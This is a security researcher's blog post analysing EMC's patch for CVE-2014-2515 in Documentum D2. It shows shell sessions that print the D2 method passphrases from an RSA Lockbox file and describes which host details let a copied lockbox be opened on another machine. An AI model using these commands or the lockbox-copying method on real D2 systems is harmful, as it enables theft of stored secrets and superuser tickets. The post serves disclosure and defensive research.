CVE-2014-2515 (D2GetAdminTicketMethod). Was it really fixed?

Previous investigations


Finally, on August 2014 EMC released security advisory related to D2GetAdminTicketMethod (though this advisory disclosures more information than previous ones (wow! two docbase methods were defined as vulnerable instead of familiar “certain methods”), EMC hided information about another four docbase methods):

What was done to protect D2GetAdminTicketMethod?

When D2 v4.2 had been released I expected that EMC was going to remove dangerous docbase method and switch to dynamic group capabilities – it’s a very obvious and straightforward solution, but my expectations didn’t come true, now I do understand why – but more on that later. So, what was done in D2 v4.2P05 to protect D2GetAdminTicketMethod? EMC divided passphrases used for encrypting and decrypting data passed through D2’s docbase methods, i.e. now I can receive encrypted superuser ticket using D2GetAdminTicketMethod method, but I can’t decrypt it by sending encrypted data back (this vulnerability was described in previous investigations):

~]# groovy-2.3.6/bin/groovy \
> -cp D2.jar:LB.jar:LBJNI.jar:dfc.jar:logback-core-0.9.18.jar:\
> logback-classic-0.9.18.jar:slf4j-api-1.5.10.jar:diff-0.4.2.jar:lockbox \
> -Dclb.library.path=linux_gcc34_x64 \
> -e "println com.emc.common.java.crypto.D2CryptoUtil.getDecryptionKey()"
09:44:30.897 [main] DEBUG 1 - search lockbox url : file:lockbox/D2.lockbox
09:44:30.903 [main] DEBUG 1 - search lockbox file : lockbox/D2.lockbox
09:44:30.937 [main] INFO  1 - Read securities from D2.lockbox
09:44:30.969 [main] DEBUG 1 - D2Method.passphrase MD5 : 098f6bcd4621d373cade4e832627b4f6
recvtest
~]# groovy-2.3.6/bin/groovy \
> -cp D2.jar:LB.jar:LBJNI.jar:dfc.jar:logback-core-0.9.18.jar:\
> logback-classic-0.9.18.jar:slf4j-api-1.5.10.jar:diff-0.4.2.jar:lockbox \
> -Dclb.library.path=linux_gcc34_x64 \
> -e "println com.emc.common.java.crypto.D2CryptoUtil.getEncryptionKey()"
09:44:52.921 [main] DEBUG 1 - search lockbox url : file:lockbox/D2.lockbox
09:44:52.928 [main] DEBUG 1 - search lockbox file : lockbox/D2.lockbox
09:44:52.961 [main] INFO  1 - Read securities from D2.lockbox
09:44:52.997 [main] DEBUG 1 - D2Method.passphrase MD5 : 098f6bcd4621d373cade4e832627b4f6
sendtest
~]#

Does this solution look good? Lets forget about a fact that someone decided to send MD5 hash of passphrase to logs, accessible by regular user :), and take a look at lockbox implementation.

Lockbox implementation

Note, that previously I wasn’t interested in lockbox implementation – it was enough to know that somebody used cryptography options in wrong way. Now lets talk about lockbox. What is it? Here D2’s product manager was able to say only following about lockbox:

The RSA Lockbox is a software-specific (can be hardware too) encrypted repository that securely stores passwords and and other sensitive key manager configuration information. It is part or RSA Common Security Toolkit (CST) which is EMC internally implementation of RSA BSAFE(R) Share for Java Platform, see RSA BSAFE(R) Share for JavaTM Platform.

The EMC implementation of RSA BSAFE(R) enabling technology is intended for inclusion in EMC products allowing these products to meet the security requirements of our customers and to deliver differentiation through security. The CST libraries provide language-specific (C, C++, and Java) and platform-specific interfaces to a set of security services including authentication, authorization (role management), accountability (logging), cryptography, key management and secret protection which can be integrated by EMC product teams.

Hm, there is no useful information at all but even three occurrences of (R) sign. Lets investigate my myself!

~]# mkdir testlockbox
~]# java -cp D2.jar:LB.jar:LBJNI.jar \
> -Dclb.library.path=linux_gcc34_x64 com.emc.common.java.crypto.SetLockboxProperty \
> testlockbox D2Method.passphrase test
JVM : 1.6.0_45 (64bits)
'testlockbox/D2.lockbox file created
'D2Method.passphrase' property created
~]# file testlockbox/D2.lockbox
testlockbox/D2.lockbox: ASCII text, with very long lines, with no line terminators

Wow! Lockbox is a text file, that makes it more simple to hijack than if it was binary. And though at first glance lockbox is bound to operating system:

~]# groovy-2.3.6/bin/groovy \
> -cp D2.jar:LB.jar:LBJNI.jar:dfc.jar:logback-core-0.9.18.jar:\
> logback-classic-0.9.18.jar:slf4j-api-1.5.10.jar:diff-0.4.2.jar:testlockbox \
> -Dclb.library.path=linux_gcc34_x64  \
> -e "println com.emc.common.java.crypto.D2CryptoUtil.getEncryptionKey()"
10:58:48.320 [main] DEBUG 1 - search lockbox url : file:testlockbox/D2.lockbox
10:58:48.327 [main] DEBUG 1 - search lockbox file : testlockbox/D2.lockbox
10:58:48.364 [main] INFO  1 - Read securities from D2.lockbox
10:58:48.401 [main] DEBUG 1 - D2Method.passphrase MD5 : 098f6bcd4621d373cade4e832627b4f6
sendtest
~]# hostname localhost
~]# groovy-2.3.6/bin/groovy \
> -cp D2.jar:LB.jar:LBJNI.jar:dfc.jar:logback-core-0.9.18.jar:\
> logback-classic-0.9.18.jar:slf4j-api-1.5.10.jar:diff-0.4.2.jar:testlockbox \
> -Dclb.library.path=linux_gcc34_x64  \
> -e "println com.emc.common.java.crypto.D2CryptoUtil.getEncryptionKey()"
10:59:01.706 [main] DEBUG 1 - search lockbox url : file:testlockbox/D2.lockbox
10:59:01.716 [main] DEBUG 1 - search lockbox file : testlockbox/D2.lockbox
10:59:01.760 [main] WARN  1 - No D2.lockbox found, error : Error: -11 
     LockBox::initLockbox : The system hostname key is missing from the Lockbox.
10:59:01.779 [main] WARN  1 - Could not open or access D2.lockbox : error : 
     java.lang.Exception: Error: -11 LockBox::initLockbox : 
     The system hostname key is missing from the Lockbox.
10:59:01.780 [main] DEBUG 1 - D2Method.passphrase MD5 : default
null

I have figured out that for linux system it’s enough to transfer following information from victim operating system to be able to open hijacked LockBox:

  • hostname
  • IP and MAC of primary network interface
  • two of the following files: /proc/version, /proc/swaps, /proc/cpuinfo, /proc/partitions

all this information are available through text files too. Now, little history about vulnerabilities in Documentum products which could be used for content hijacking:

Additionally EMC has a pending security report related to content hijacking, and I know about a couple of content hijacking vulnerabilities (not reported yet) in D2 😦

Still thinking that LockBox is a secure solution?

Now a sad part about security in D2GetAdminTicketMethod

I have counted at least four security issues in the current implementation of D2GetAdminTicketMethod, and this is after nine months of development!

6 thoughts on “CVE-2014-2515 (D2GetAdminTicketMethod). Was it really fixed?

  1. Pingback: D2 and LockBox setup | Documentum in a (nuts)HELL
  2. Pingback: Dynamic groups. Advances. Part III | Documentum in a (nuts)HELL
  3. Pingback: Is it possible to compromise Documentum by deleting object? Typical mistakes | Documentum in a (nuts)HELL
  4. Pingback: New joke about security from EMC | Documentum in a (nuts)HELL
  5. Pingback: Documentum Content Server ESAs for September | dm_misc: Miscellaneous Documentum Information

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s